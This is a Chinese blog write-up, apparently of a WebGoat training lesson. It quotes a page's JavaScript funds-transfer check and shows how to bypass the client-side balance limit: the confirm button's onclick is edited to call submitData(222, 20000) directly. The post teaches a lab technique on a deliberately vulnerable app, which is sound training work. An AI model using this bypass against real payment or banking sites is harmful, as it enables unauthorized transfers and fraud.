这篇文章不是百度上你抄我,我抄你的软文
百度上的各种做法都是用代理像brupsuite和webscrab来改包,但是这个题目改了之后是传成功了,但是没法显示Congratulation
我的做法就是下面这样
定位confirm按钮触发的操作发现,confirm最后是调用了一个processData()的函数来处理,然后我们查找这个函数
<input onclick="processData();" id="confirm" value="Confirm" name="confirm" type="BUTTON">
找啊找(其实就搜索一下)
1 function processData() {
2 var accountNo = document.getElementById('newAccount').value;
3 var amount = document.getElementById('amount').value;
4 if (accountNo == '') {
5 alert('Please enter a valid account number to transfer to.')
6 return;
7 }
8 else if (amount == '') {
9 alert('Please enter a valid amount to transfer.')
10 return;
11 }
12 var balanceValue = document.getElementById('balanceID').innerHTML;
13 balanceValue = balanceValue.replace( new RegExp('$') , '');
14 if ( parseFloat(amount) > parseFloat(balanceValue) ) {
15 alert('You can not transfer more funds than what is available in your balance.')
16 return;
17 }
18 document.getElementById('confirm').value = 'Transferring'
19 submitData(accountNo, amount);
20 document.getElementById('confirm').value = 'Confirm'
21 balanceValue = parseFloat(balanceValue) - parseFloat(amount);
22 balanceValue = balanceValue.toFixed(2);
23 document.getElementById('balanceID').innerHTML = balanceValue + '$';
24 }
25 function submitData(accountNo, balance) {
26 var url = 'attack?Screen=448&menu=400&from=ajax&newAccount='+ accountNo+ '&amount=' + balance +'&confirm=' + document.getElementById('confirm').value;
27 if (typeof XMLHttpRequest != 'undefined') {
28 req = new XMLHttpRequest();
29 }
30 else if (window.ActiveXObject) {
31 req = new ActiveXObject('Microsoft.XMLHTTP');
32 }
33 req.open('GET', url, true);
34 req.onreadystatechange = callback;
35 req.send(null);
36 }
37 function callback() {
38 if (req.readyState == 4) {
39 if (req.status == 200) {
40 var result = req.responseText ;
41 var resultsDiv = document.getElementById('resultsDiv');
42 resultsDiv.innerHTML = '';
43 resultsDiv.innerHTML = result;
44 }
45 }
46 }
然后就在14行的位置
14 if ( parseFloat(amount) > parseFloat(balanceValue) ) {
15 alert('You can not transfer more funds than what is available in your balance.')
16 return;
17 }
这里有个判断阻止我们的值大于账户的值
然后如果一切符合要求,然后submitData()
我们可以直接跳过这个processData()函数
在刚刚那个confirm按钮那里,将这个processData()改为submitData(222, 20000)就可以了
<input id="confirm" value="Confirm" name="confirm" onclick="submitData(222,20000);" type="BUTTON">
然后再点confirm就可以了
1059

被折叠的 条评论
为什么被折叠?



